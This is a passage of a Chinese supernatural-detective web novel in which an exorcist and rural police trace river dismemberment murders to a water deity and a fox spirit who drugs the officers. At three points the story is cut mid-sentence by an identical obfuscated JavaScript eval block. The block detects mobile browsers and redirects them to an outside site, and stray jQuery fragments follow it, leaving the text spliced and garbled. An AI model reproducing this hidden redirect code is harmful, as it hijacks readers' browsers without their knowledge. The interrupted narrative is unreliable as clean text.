龙骨已经消失无踪,市里的专家自然也不用来了,所长气哼哼的骂了罗明昶几句,开始回房打电话。估计是跟市里的大领导们汇报情况,一顿臭骂是逃不过了。
薛暮冉看着气呼呼甩门而去的所长,忍不住感慨:“幸亏彩衣镇的局长去市里开会还没回来,不然上次的案子,我们可惨了!”
竹七九看他那副心有戚戚的样子,只觉得好笑。随手拿起桌上的报纸浏览着,忽然扑哧一声笑出来,上面正是警察所长在街头接受采访的照片,只穿着衬衫。
“难怪那两个人弄出来的纸人是那副样子,原来是照着这个来的啊。”竹七九内心忖道。
至于罗明昶,他低着头回到自己的位置上坐下,消沉了一小会,深吸一口气,又恢复了精神奕奕的样子,翻出几张资料,招呼竹七九过来,低声道:“你小子也别想着糊弄我,我很清楚什么是现实,什么是做梦!昨晚那只猴子根本不是什么普通的动物,就是怪物!眼下还有一件事,我看也不太正常,所以——”
“怎么?要聘我当顾问吗?”竹七九狡黠一笑,“我收费可不便宜!”
罗明昶也不在意,冷冷道:“那颗黑色的珠子,我可记得被‘某人’私吞了,要不然,今天就别想着离开派出所!”
“哈哈哈哈!行啊罗队长,有点儿意思!”竹七九忍住笑意,接过那叠资料,上面印着几张黑白照,都是血肉模糊的尸块,伤口处似乎被活生生撕裂开的,十分不平整,有的尸体胸口上有几道锐利的抓痕,心脏处被掏空,只剩下黑乎乎的窟窿。
“不会吧!他怎么会杀人呢?”竹七九喃喃道,“这种自毁的事,他究竟是为什么——”
46.第七章 结伴而行
新月高悬,满天繁星,整座山林笼罩在朦胧的光晕之下,显得有些梦幻。一米来宽的溪水潺潺的流淌着,激起的水花是这夜色里唯一的声音。
岸边,坐着一个虎背熊腰的人影,拿着小石块无聊的往溪水里扔着。忽然,他听到了身后林子里传来细微的脚步声,微微转头,手里的石子已经飞出去,顺着身后人的耳边,击中不远处的一棵水杉树,哗啦一声,树干碎裂,倒了下去。
“下手可真狠啊!”柔媚的腔调惹得人胸腔直痒痒,像是有人拿着一根羽毛在扫你的心窝,想挠又抓不着。
“不是已经打偏了吗?”他直起身,活动起双手来。露出宽阔的胸膛,结实的肌肉,身上的毛发像沾了一层在夜里也会发光的粉末似的,微微闪烁着星光。
“时代已经发生变化,早就不是几千年前的时候了,你应该收敛一些。”声音的主人走出林子,在星光下露出面容来,也是个娇媚无比的美人儿。两道弯弯的眉毛犹如墨染,双眼狭长,眼尾略弯,眼睛四周泛着一层红晕,睫毛长得像是两把小扇子,点在眼睛上下。
“管他几千年还是几百年,谁还能管得住我不成?”他怒吼一声,震得林中熟睡的鸟雀哗啦一声飞出林子,在上空盘旋。
“若是按照你以前的力量,这世间自然是没有能耐你何的人物。只是现在,那双镣铐,你都挣脱不了。”星光下的美人越发楚楚可怜,一双桃花似的眼眸中似有泪光闪动。
“我要找到龟山,这笔账,就算了过了五千年,还是要清算。我不会让那老东西继续苟活了。”说到此处,他只觉得胸口一股怒气无处发泄,一手粉碎了小溪旁的石块,一瞬间粉末飞扬。
“通天,你冷静点。”女子伸手拉住他,叹了口气,“我力量不够,破不了你的封印,现在的你别说去龟山,就连阳光都碰不了。戴着这副锁铐,你一丝神力都使不出来,就算去了龟山,只是平白送掉自己的性命。”
他终于冷静下来,重新坐在地上,喃喃道:“那我又能怎么样呢?雪鸣,你说我该怎么做?”
被称为雪鸣的女子心头一软,满目柔情的蹲在他面前,抚摸着他沧桑的面容,雪白的毛发,低声安慰:“会好的,一切都会好的,我们需要一个时机。只要找到应龙的尸骨,封印就能解开,神力也会回来,到时候,龟山下的那个人,根本不是你的对手。”
夜凉如水,女子轻轻拥住面前失意的人,拍着他的背部,软声安慰。
又到清晨,派出所接到新的报案,称染纱乡又发生一起碎尸案,更上次一样,发生在水边。罗明昶暗骂一句:“都说了不要靠近水了,怎么就是不听话!”
赵天允伸着长长的脖子,凑过来说:“唉,现在村子里都没通自来水呢,村民只能去河边打水啊,队长你也要理解理解嘛!”
“染纱乡就是上次那起碎尸案发生的地方吗?”竹七九啃着包子,含糊的问。旁边的薛暮冉抱着一大纸袋的包子馒头,招呼其他同事过来自由拿取。
“反正是你们出的钱,随便吃啊!”薛暮冉对每一个过来拿包子的人都重复这句话,不厌其烦的模样像极了孜孜不倦的老师傅。
“唉,就是染纱乡,上次死了五个人,这次又增加一个,唉,头疼的要死!”罗明昶用手抵着额头,一脸苦相。
“不如去现场看看?这里面说不定有蹊跷呢!按理说,刚刚发生五起命案的地方,会这么快又发生新的吗?更何况,是这种案子!”竹七九吞下最后一口包子,建议道。
“这种案子?是哪种?”薛暮冉将早餐分发完毕,耳尖的跑过来询问。
“你说哪种?跟丢眼睛那起案子,差不多类型!”竹七九白了他一眼,无奈地回答。
“原来如此啊!”薛暮冉一副了然于心的模样,指着赵天允几人笑道:“那你们惨了,这种案子,搞不好,会死得很惨。”
“切!办什么案子不会死人?要是因为怕死那还来干什么警察?回家种田好了!”赵天允梗起细长的脖子,一脸打算英勇就义的悲壮表情。
“算了,到时候你们就明白了!”薛暮冉拖过旁边的椅子一屁股坐下,“会不会那夜的猴子啊?我闻着那东西身上,血腥味还挺重的!”
“问题就出现在这里,按道理说,他不会杀人的。”竹七九用手托住下巴,轻轻摩擦着,“还是得去现场才行!”
他看着罗明昶,眼神坚定。
于是,兵分两路,罗队长带领一批人去新的命案现场搜查。赵天允成为旧案现场领路人,带着初来乍到的两人在乡间小路穿行。不一会走上一陇高坡,指着坡下的河水说道:“这就是第一个案发现场,死了五个人,三男两女,都被撕成碎片了。而且,这些人的心脏都被掏走了,不知道这是不是搞贩卖器官的交易——”
“你这想象力天真的可以啊!”薛暮冉惊呼一声,“尸体都碎成这样了,还能联想到贩卖器官上去!”
“那可不是,我一向观察入微,罗队长也经常夸我呢!”赵天允浑然不觉,满脸天真的样子倒让这句讽刺变了味道。
“当时,不是说有目击者跑出来吗?没形容那个凶手的长相吗?”竹七九滑下土坡,往木头搭成的水埠头跑去。
在岸边水草里摸索着,又趴在木台子上,往水下张望,忽然,他在水下的木头柱子上使劲掏着什么,拽出来一截青色布料,上面还沾着一块四方形的贴片。
他定定看着手里的薄铁片,眼中疑惑更甚。
这时旁边响起脚步声,他慌忙将这块东西藏进口袋里,装作什么都没发现的样子。起身笑着冲赵天允说:“果然什么都没有!”
“可不是!我们都查遍了!就有一个女的目击者,还疯了,只知道尖叫,什么怪兽啊!吃人啊!之类的——”赵天允恨铁不成钢的抱怨着。
“只有一个女人啊——”竹七九重复着,“能带我们去看看吗?”
赵天允一副‘你们看了也不会有什么其他帮助’的样子,引着两人往村里走去。大约过了十来分钟,见到几栋稀疏的瓦房,赵天允径直走向其中一间,推开院子的栅栏,看见门口坐着一个短发女人,歪着头在喂鸡。
“喂,老赵呢?”赵天允叫唤一声,屋里跑出来个中年男人,脸晒得黑红,眼角堆着好几道褶子。
“哎呀,小赵哥啊,什么风把你吹来了?”男人满脸灿烂的笑容,从屋里端出两条长凳,请几人坐下。
“别忙活了,你老婆这几天有没有好点?”赵天允看了眼坐在门口的女人,问道。
“哎呀,还是老样子,呆呆傻傻的,在家坐着不乱跑还好点,有时候趁我不注意跑出去就麻烦了!找半天也看不见人影——”老赵摆摆
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030279|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手,叹着气。
“几天早上,在水埠头上面又发现一具尸体,你听说了吧?”
“怪物!怪物!”女人忽然尖叫出声,“猴子!”
“听——听说了,好像是老周,”老赵擦着额头的汗水,看向自己的妻子,眼中有些羞愧的神色,“今天早上,孙大爷出去干活,路过河边发现的,好像后脑勺破了个大洞,双手双脚也都没了,不晓得被什么东西吃了呢!”
“吃人!吃人!血啊!”女人狂笑起来,“鬼三,怪物!”
被吓了一跳的竹七九往后退了退。
“后脑勺啊——”他喃喃自语,忽然拍了下旁边的赵天允,“罗队长现在带着人去那边现场了?走,我们过去看看!”
再看罗队长这头,尸体已经打捞上岸,血肉模糊的后脑勺让刚吃过早饭的几人一阵反胃,于是,他们将尸体翻过去,露出正脸来。
死者面容惨白,左侧脸颊有一颗大黑痣,上面还长了几根毛。脸部皮肤皱成一团,似乎由于在水里泡了太久,导致有些肿胀。
胸口也有一摊血迹,扒开衣服一看,心脏位置被人剖开,只剩下一个血洞。
“又是心脏!最近黑市这么火的吗?是哪户有钱人心脏出了问题,所以四处挖吗?”罗明昶有些气愤,腮帮子立刻鼓起来,原本就有些突出的眼睛让他现在看上去和青蛙更为神似。
“又不是挖野菜!心脏这东西可以随便挖的吗?”身后传来戏谑的说话声,不用抬头也能知道,是那个神神道道的竹七九。
“喂!你们那边有什么线索吗?”罗明昶随口问道,见对方摇头,他也毫不在意,“这尸体是今天早上才被发现的,死者叫周栋,本地人,前不久才从外地回来,还带了个女人回来结婚。”
“那他妻子呢?”
“已经让人去通知了,估计快到了吧——”话音未落,岸边传来哭喊声,几个女人一起走过来,中间一个面容姣好的年轻女人哭的梨花带雨,一头秀发乱糟糟的束在脑后。
“老周啊!你怎么就这样了!”女人哭着跪倒在地上,不断拍打着死者身体。
见她伤心,罗队长也不忍立刻问话,招呼旁边的同事拉开她,让人将尸体先送回局里进行更详细的检查。
竹七九环顾四周,见这群人大都冷着一张脸,没有同情或者悲伤的表情。只有几个面容猥琐的男人交头接耳低声议论着什么,露出下流的笑容。他心下顿时明白了几分。
于是走到罗队长身边低语几句,罗队长微微点头,开始做出安排。先让看热闹的人群散去,又带着死者家属往家中走去,问话自然也在那边展开。
“为什么要去死者家里问话啊?在这河岸边展开侦讯不是挺好的嘛!”薛暮冉不解的询问。两人站在队伍最后,小声交谈着。
“因为,这里应该不是第一案发现场。”竹七九用手遮着嘴部,凑到对方耳边回答,“死者虽然也是漂在水里,但是,那伤口太平整了,跟前面几具尸体损坏的程度根本没办法相提并论。”
“如果排除了怪物杀人,也就是说,是用器具分尸,自然不会在野外操作,肯定是在某处隐秘的地方分尸完毕,再抛尸,你是想表达这个意思吗?”
“正是!包括分尸的用具,也许现在还在这人家里!”竹七九指了指前面哭哭啼啼的美妇人。
47.第八章 家有娇妻
过了一座石桥,就是村子入口,前方红砖黑瓦,林立着几十间房屋。其中最引人瞩目的要数一棵梧桐树边,粉刷成白色的楼房。虽然只是简单的两层水泥建筑,但在这一堆瓦房之中看上去格外突出。
那美妇人径直走向位于村子深处的白色楼房,推开院子的铁门,只见地面也铺了一层水泥,左右都预留了圆形土地,栽着两棵香樟树。左手边的墙角放置着一排花盆,里面各色花朵正开得热烈。
右手边整齐摆放着两只大水缸,还有一排晒衣服的铁架子,上面晾着深蓝色的衬衫和大红色的连衣裙,正随风飘荡。
女人引着众人走进屋内,大堂中央放着一张四方形的实木桌子,几条板凳随意摆在四周,几人各自坐下。女人从后院的厨房里找出几只杯子,开始准备茶水。
趁着她烧开水的工夫,竹七九冲旁边的薛暮冉使了个眼色,两人悄悄走到后院。薛暮冉走进厨房跟女主人闲聊,竹七九猫着腰溜进院子里。
右边的角落里沾着几根鸡毛,仔细一闻,有股浓重的血腥味。后院的墙壁内侧没有粉刷石灰,露出红色的砖块,小心查看一番后,竹七九发现那上面也沾了一些星星点点的血迹。
“杀鸡的话,血会飚这么高吗?”他蹲在墙角边,低声呢喃,又从胸口掏出一张黄符塞进墙壁拐角处。
沿着血液的痕迹往后退着,哗啦一声,墙角堆着的农活器具倒了一地,发出巨大的动静,惊得旁边的小鸡仔立刻‘咕咕蛋’‘咕咕蛋’的叫起来。
旁边的厨房里也传来说话声,似乎薛暮冉已经阻拦不住,女主人即将走出来的瞬间,竹七九飞身越过墙壁,差点脚下一滑,摔进农田里。
原来院子外侧是一畦蔬菜地,再外侧就是农田,一些戴着草帽的身影正弯着腰收割稻子。有个人似乎是累了,微微直起腰左右活动了会,忽然间转过了头。
竹七九躲闪不及,只好站在墙角边直勾勾望着那个人。因为两人相距甚远,竹七九只能模糊的看清那人敞着一件深蓝色的衬衣,里面还搭着意见白色的背心,以及他右手拿着的那把锋利的镰刀。
那人似乎没注意到墙角还站着一个人,简单瞟了一眼院墙后继续弯腰干活。趁此机会,竹七九继续猫着腰绕着院墙边的窄小地段,走到院子前方。
此时罗队长已经安排手下的人展开搜查,竹七九也趁乱融入其中,假装搜查人员,四处东张西望。
“大师,查到什么没有?”薛暮冉神不知鬼不觉的走到他身后,低声询问。
“墙角有血迹,不过里面混着鸡毛,可能只是单纯的杀鸡。但是那血迹很新——”竹七九摆弄着晒衣架子上的衣服,简单叙说着。
“我看了厨房的碗柜跟垃圾桶,的确有吃剩下的骨头,至于是不是鸡,我也看不出来。不过碗柜里倒是什么剩的都没有,只有一碟咸菜。”
“她本人怎么说的?什么时候发现丈夫不见的?”
“说是昨夜。这个周栋以往除了种田,还会去掏些黄鳝跟龙虾给家里开荤,昨夜也就这么出去了,结果到早上还没回来。那个女人开始以为是丈夫回来的早,趁着天不热就去田里干活了,也没在意,在家准备早饭洗衣服什么的。后来听说有人在河边发现尸体,还没联想到是自己丈夫,直到警察来了——”
“这个借口,估计罗队长都不会相信吧?”竹七九低声一笑。
“我相信什么?”猝不及防,左边的人正是罗明昶,正歪着头看着旁边一直咬耳朵的两人。
“额——”竹七九仿佛做坏事被逮个正着似的,心虚的笑笑,“夸你英明神武,让人不由得心生信任之感。”
“我要是信你这番话,我就是大傻蛋!”罗明昶白了他一眼,“查了一圈,没有什么可疑的地方。那摊血已经让法医过来鉴定看是人血还是动物的血液,其他的,你们还发现了什么吗?”
两人不约而同的摇头,像两只拨浪鼓。
“对了,大师,刚刚你根本没必要偷偷摸摸去搜查啊,为什么要那样子?还不惜翻出院子外面?”薛暮冉回想起方才的事,忍不住好奇地询问。
“这个啊!”竹七九笑了下,“我习惯了,还以为跟以前一样呢。现在咱们可是正大光明来调查的,的确用不着偷偷摸摸的!”说完,尴尬的笑了笑。
“什么啊,我还以为你有什么了不得的事情要做呢!”薛暮冉不满地抱怨。
“其实也不算完全没有,不过说出来就没意思了,你到时候肯定会怪我的——”
话没说完,一个戴着黄色草帽,脖子上搭着淡黄色毛巾的男人在门口探头探脑,手里拿着把镰刀,在阳光下闪着寒光。
罗明昶面色一凝,走上前询问:“你是什么人?在这里做什么?”
那人摘下草帽,笑道:“我是住在隔壁的,我叫李国,刚刚干完农活回来,听我媳妇说了那个案子,想问问几位要不要过来吃饭?现在看周大嫂子也没心情做饭了吧——”
一看时间,已经中午十二点多,罗明昶看了眼面容疲惫的下属们,想着眼下再回镇上吃饭,估计弟兄们都要抱怨,既然有人愿意招待他们,倒也省事。于是点头答应,带着五六个大男人往隔壁瓦房走去。
一样的实木桌子,一样的板凳,不过屋内有些阴暗,不如周栋家亮堂。李国忙前忙后端菜,始终不见女主人的影子,也许是还在厨房炒菜,一阵辣椒香味从后厨传来。
一行人忙了一天,早就饥肠辘辘,薛暮冉一向运动神经发达,消耗的体力也比常人多,此时更是直接趴在桌子上抱怨:“我要吃饭!怎么还没上来啊!”
“饭还没好,你们要不要先尝尝这菜合不合口味?”李国讨好地笑着,将一盘烧鸡端上桌。
竹七九伸出筷子拌了拌,笑道:“这只鸡腿我包了啊!都别跟我抢!”
其他几人也开始动筷子,只剩下薛暮冉依然执着于米饭,不肯先吃菜。
哐当——后厨传来一声巨响,竹七九忙起身去看,却被出来的李国往后推了推,他笑着解释:“我老婆手没拿稳,脸盆里的水洒了一点,没事啊,你们先吃。”
说完又进了厨房,顺手将厨房门关上。
竹七九站在那道刷着红漆的木门前,刚想伸出手推,门却自己开了,李国端着一盆白花花的米饭走出来,一脸憨笑:“都等急了吧,赶紧吃饭!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034328|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>推着竹七九往桌子上走,给各个人碗里都添上热气腾腾的米饭。薛暮冉像打了鸡血似的直起身子,开始狂扫饭菜,不到五分钟,又开始盛第二碗。
旁边的罗明昶一脸鄙夷:“彩衣镇是不给警察吃饱饭吗?瞧你那样!回头我去问问萧泰安,是不是成天虐待你们。”
“哈,你认识——萧队长——啊?”薛暮冉鼓着腮帮子,含糊不清的吐字。
“我们以前在一个部队里,当然认识!”
在众人吃饭期间,李国坐在一旁的矮凳上,面带微笑抽着烟。吞云吐雾中,那张笑脸若隐若现,带上几分诡异。竹七九盯着那个笑容,不自觉地瘆得慌,于是开口问道:“老李,你怎么不吃?”
“没事,你们先吃,锅里还剩着呢。”
“那你妻子呢?”
“她啊,在厨房里吃呢,锅里还有热菜。”
总觉得哪里不对劲,但是又说不上来。竹七九吞下一口米饭,看着满桌的烧鸡,炖肘子,红烧肉,忽然意识到,这里怎么一道素菜都没有?
他盯着那只没啃完的鸡腿,又看了眼其他盘子里烧得黑乎乎的肉块,忽然起身往后一退,喃喃道:“不会吧!”
李国笑容更甚,站起来问:“什么不会啊?是饭菜不合口味吗?”
“怎么会?好吃得很啊!就是酱油好像放多了点,有点咸——”赵天允摇摇晃晃站起来,笑着回答,“厕所——在哪里?”
像喝多了似的,赵天允扶着墙壁往门外走,然后靠着大门缓缓坐下来,歪着头失去了意识。在桌边坐着吃饭的几人也紧跟其后,一一倒下,脸趴在盘子里,开始呼呼大睡。
“你到底是谁?”竹七九退到门口,盯着依旧笑嘻嘻的李国,厉声质问。
“我是谁并不重要,但是接下来要说的事情很重要,所以你要仔细挺好。”李国重新坐下,将烟头按灭,“我需要你找到龟山。”
原本沧桑低声的男人声音,逐渐变成柔媚入骨的女子腔调。
“你是无支祁那边的人?”竹七九心下已然明白,“可是他既然已经脱离封印,还要去龟山做什么?”
“无支祁?不要把我跟那种背信弃义,黑了心肝的东西相提并论!”李国尖声反驳,忽然又诡异的笑起来,逐渐倒在地上。吱呀一声,后厨门缓缓打开,面容姣好的美妇人缓缓走出,一脸笑意。
“那你要去龟山做什么?无支祁已经逃出那里,来到这附近,你直接去找他不是更省事?”一阵眩晕袭来,竹七九扶住门框,“你果然下了药,到底想做什么?”
“我说了,只要你找到龟山,其他的,都不重要。”美妇人踢开地上的那具躯壳,搬过凳子坐下。
“你如果什么都不说,我没办法做出正确的判断。”
“这可就由不得你了!”美妇人秀气的下巴逐渐变得细长,整张脸长出毛发,满头秀发往后移动,发色变白,蓬成一条灵活的尾巴。整个人开始缩小,化作一只尖脸瘦腮的狐狸来。
碧绿色的眼睛来回闪烁,一阵天旋地转,他只觉得身心俱疲,像是被关进了四方形的盒子里,周身都被束缚着,逐渐靠在门板边快要失去知觉。
48.第九章 傍身之物
“天地玄黄——”他闭着眼睛念起来,一道黄光陡然亮起,驱散了诡异的枷锁。他挣扎着起身,使劲拍着脑袋,好让自己清醒一些。
再看对面,已经没了那只狐狸的影子。他扶着门站起身,走到后厨,想找个接水的器具,在碗柜里翻了半天,结果只找到几只绕成一团的塑料袋,碗筷似乎都上了桌。他又去锅边查找,掀开木质的锅盖,他愣了一会,猛地跑去后门呕吐不止。
那铁锅之中,赫然有两只烧熟了的手掌,五根手指微微张开,隐约可见三道川字型的掌纹,是人的手掌。
这样看来,刚刚一桌美味佳肴,难不成都是那丢失的四肢做成的?想到这里,他有些不忍叫醒那些熟睡的人。
强忍着心里的恶心,他将锅里的东西塞进塑料袋里,又去桌子上将剩余的菜肴全部倒进去,在后院找了个地方埋下。这才用装饭的盆舀了点水,泼醒其他人。
薛暮冉第一个恢复意识,加上他只是狂吃饭,对桌上的肉类动筷极少,所以中毒不深。其他几人还在昏迷之中,所幸脉搏跳动强健有力。看上去似乎都无大碍,想来对方也不打算要他们的命。
两人坐在门口,看着远处的太阳没入地平线下。
“龟山?那是什么地方?”薛暮冉听完这一番经过,出言询问。
“古代的龟山我不清楚,不过现在的龟山,好像在汉阳城北,但是那里究竟是不是无支祁要找的地方,我也说不好。”竹七九将头埋膝盖中,刚一闭眼,那双闪着绿光的眼眸就在他脑海里出现,像是挥之不去的诅咒。
他想起以前师父在世的时候,曾经说过:百妖之中,唯有狐狸不可直视,一旦与之目光接触,必定受其迷惑。
难不成,自己今日也有幸被狐妖迷惑一次?都说狐狸精全是美女,果然名不虚传,他嗤笑一声,抬起头,看着天边的云霞,回忆不知不觉随之浮现脑海。
“你啊,既然是我从竹林里捡到的,就叫九竹吧!”老人抚着长须,哈哈一笑,震得他胸腔也跟着鼓动。
“为什么是九竹?不是八竹呢?”小小年纪的他,也是满脑子疑问。
“你啊,会数数吗?看看那些翠竹,有几根——”老人指着门口的方向。
他跑过去,掰着细细的竹身,仔细的数着。很快,他转头开心的笑起来:“是七根,你数错了!”
“怎么会呢!明明有九根啊!”老人摸着胡须,也走了过去,“啊呀!这里怎么有两根竹子断了啊!”弯着腰,心疼的抚摸着竹子的断面,不知道被什么东西烧得漆黑,断裂的地方也不整齐。
“好像,是被什么东西烧断的!”他也蹲在旁边,指着那似乎被烧焦的横截面。
“好像是的啊,我一点没注意到呢!”老人站起来,沉思了一会,又展颜微笑,“天意如此啊,看来是前俩天那场大雨,雷电劈下来,这才断了。”
“那我要叫什么?七竹吗?”他歪着头,问道。
“七竹九竹又有什么区别呢!不如就叫竹七九吧,门口有竹七九根,虽然断了两,谁知道明年会不会接着长出来呢!”
“竹子断了就不能长出来吧,最多会出来竹笋,但那也不是原来的竹子啦!”平生第一次有了名字的他,有些隐藏不住的兴奋,话也多了起来。
“是又如何,不是又如何呢?对于竹子本身来说,它只是在这片土地上生根而已。”老人再次仰头一笑,牵着身旁的孩子往茅草屋内走去。
一面土墙,几根朽木,搭成一间摇摇欲坠的房子,竹七九有了家。
“大师,大师!”薛暮冉的声音将他拉回现实,“他们醒了!”身后传来盘子掉落在地上的声音。
一回头,果然,这群晕的七荤八素的男人们正缓缓恢复意识,嘴里嚷着听不懂的话语。罗明昶扶着桌沿站起身,突然觉得腹内一阵翻涌,猛地弯腰呕吐起来。旁边的赵天允闻着那味道,忍不住捂住口鼻,突然,几丝酸水从他指间渗出来,他强忍着,往外走了几步,结果被地上的呕吐物滑倒,跟那些东西脸对脸接触,终于忍不住,一口呕出来。
其他几人也弯腰吐着,一时间,痛苦的呻吟此起彼伏。
倒在地上的李国被那股酸味冲击着脑袋,终于悠悠醒转。只觉得手边湿乎乎的,凑近了一看,顿时一阵恶心。所幸腹内空无一物,没有可吐的东西,于是大声叫着:“你们是谁啊?为什么在我家吐成这个样子?我要打电话报警!”
“别!他们就是警察。”竹七九走过去,十分同情的拍着他的肩膀。
这场闹剧直到深夜才结束,他们占用李国家的洗澡间,将身上的脏东西洗洗干净,才回去派出所。
夜里,竹七九躺在床上,跟打地铺的薛暮冉闲聊。
“说实话,我完全被绕糊涂了!”他趴在床边,身上换了一套罗明昶的淡灰色短袖。
“你是说杀人手法?”薛暮冉平躺在床铺上,这都要怪他石头剪子布不够厉害,这才输了床的位置,“那个女人如果是妖精,为什么手法做得那么假,完全可以学着那猴子的样子,将那些尸体四分五裂嘛。”
“的确是!除非——”
“他们故意做得这么假,吸引我们过去,想把我们一网打尽?”薛暮冉做起来,捏紧拳头,“下次等我吃饱了,可就不会这么容易上当了!”
“要是真想杀了我们,直接下毒就好了,可是那个药好像只是能让人昏睡的东西。”竹七九干脆也坐到地上的铺盖上,“狐狸一直在说龟山,我记得,那个疯女人是不是也说了类似的字眼,鬼三,龟山,是方言的缘故吗?”
“为什么都想去那边?再说了,他们想去就去呗,为什么要找上我们呢?”薛暮冉有些不解。
“精怪之属,都有自己的活动范围,不能随意离开的。就算运气好,附在人或者动物的身上,能够暂时逃离,此后就得一直寄生在其他生物体内,稍有不慎,形神俱损。”竹七九摸着下巴,解释着。
“听说,这个周栋好像前不久才从外地回来,带着这只狐狸化成的女人,到处跟人说话了好几万买回来的老婆。还跟人说在外地挖矿,赚了一大笔钱之类的——”薛暮冉说着自己从村子里听来的八卦,“如果那个女人是被妖精附身了,一直潜伏在周
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037546|161560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
栋身边,又杀了他,然后要去龟山——为什么不一开始就去龟山呢?”
“哎呀!脑子要裂开了!”竹七九仰面躺下,一脸痛苦的样子,“本来,无支祁就不应该出现在这里。他千辛万苦逃离龟山,又来这里做什么?要说为了应龙的尸骨,倒也有可能。可是那只狐狸又要去龟山,而且看她那样子,似乎跟无支祁还有仇!”
“大师,说了半天,无支祁到底是个什么东西啊?”薛暮冉忽然问道。
“怎么?我没跟你们说吗?他是水神啊!”竹七九有些惊讶,“这也是根据神话来的,当年大禹治水,来到淮水一带,当地水神不服从命令,于是大禹派出应龙前去收付那个河神,将其镇压在龟山之下。这个水神就是无支祁,听说他当年荒淫无度,跟龙女生了三个儿子,都派去其他河流担任水神一职,光宫殿就盖了不知道多少座。”
“那也不是什么好人啊!”薛暮冉心下失望,“那他是我们这个世界的东西吗?还算是神仙吗?”
“按照分类,属于地仙的一种,跟上次我们看见的大蛇类似。还达不上神仙的等级。不过,他的一个儿子已经飞升成仙了,我想你应该也听过。”竹七九微微一笑,“是个很出名的神话故事哟!”
薛暮冉想了一想,脸上逐渐露出不可思议的神情:“该不会是——孙大圣吧!”
“哈哈,你脑子还可以嘛!”竹七九又翻到自己的床上,笑着解释,“这些都是神话,我也不知道真假就是了。不过听过西游记里面孙悟空的原型就是无支祁,也有人说,无支祁跟龙女生的那三个孩子里面,就有孙悟空。要真论其真假,除非咱们回到几千年前,三皇五帝的时期才能知道吧!”
“也是,我的天,这也太刺激了!对了,那个无支祁很厉害吗?地仙应该不会无形无质,想做什么就做什么吧?”
“地仙,其实就是修炼得很突出的精怪,然后被那群真正的神仙选中,担任一方山神水神。也许很多年后,他们会真正飞升,脱去肉体凡胎,成为真正的神仙。只是有一点,地仙不能杀生。不然,前功尽弃,甚至,会被上头那些神以妖魔论处,严重的会降下雷劫。”
“难怪你会惊讶呢,如果真的是无支祁杀了那些人,就等于他是自动放弃成仙的机会,堕入魔道了?”
“是这个意思,照那个疯女人的话,是个猴子模样的怪物来杀了那些人,而且是从水里上来的。我听青灵说,她在九景山也看见了一个猴子模样的怪物浑身湿淋淋的下山去了,当时我就猜测八成是无支祁。其他的我也想不出来了——”
“青灵?”薛暮冉心脏猛地跳起来,想起那夜的青衣女子。
“哦,是我的一个朋友。”竹七九浑然不知身旁人的心思,简单解释了一句就翻过篇去,“所以那夜我才推测,青灵看见的怪物,就是我们碰见的。大胆猜测后,叫出那个名字,结果还真猜对了。”
“这样啊——”薛暮冉有些心不在焉起来,脑子里全是那女子的音容笑貌。
见状,竹七九也不再说话,熄了灯。两人各怀心事的躺在黑暗中,静静等待睡梦之神的降临。
49.第十章 溯本穷源
第二天一早,阳光照进屋子里,竹七九翻了个身,面朝墙壁,企图再多睡一会。结果不知是谁,一大清早就在院子里来回走动,哒哒哒的脚步声不绝于耳。好不容易,脚步声没了,紧接其后的就是咚咚咚的噪音。
他烦闷的坐起来,看见依旧熟睡的薛暮冉,忍不住有些羡慕。推开门,看见罗明昶在院子里晨练,穿着宽松的短袖,一拳一拳捶在沙袋上。
“喂——罗队长,你们种的这棵歪脖子树就是拿来挂沙袋的啊?”竹七九搔着乱糟糟的头发走过去。
“开始不歪的,挂着沙袋之后慢慢就歪了。”罗明昶爽快的笑了,扶住左右摇晃的沙袋,“怎么样?昨晚睡得怎么样?我这宿舍比彩衣镇的也不差吧?”
“这个嘛,半斤八两吧。”竹七九摸了一把沙袋,轻轻推了推,笑道,“其他人呢?难道天天就罗队长自己练啊?”
“早上他们已经晨练过了,已经在外面执勤站岗呢。我一般喜欢多练一会,对了,李国我们已经收押了,但是他坚持说什么都不知道,看着也不像说谎,这到底是怎么回事?”
竹七九想起昨天的场景,一时间也不知道该怎么解释,现编一个故事也不容易,只好支支吾吾,岔开话题:“这个嘛,我跟你们一样觉得奇怪,等再调查看看再说吧。对了,那个周栋家的女人,不是已经没了踪影了嘛,不如想办法找到那个女人再说。”
“那个女人,现在我们也怀疑是她下手杀了自己丈夫。只可惜上次被她那副样子骗了,又被李国下药,导致全员都中了招,这才让她有机会逃走。我们已经发布通缉令,只要有消息,立刻就能实施抓捕。”
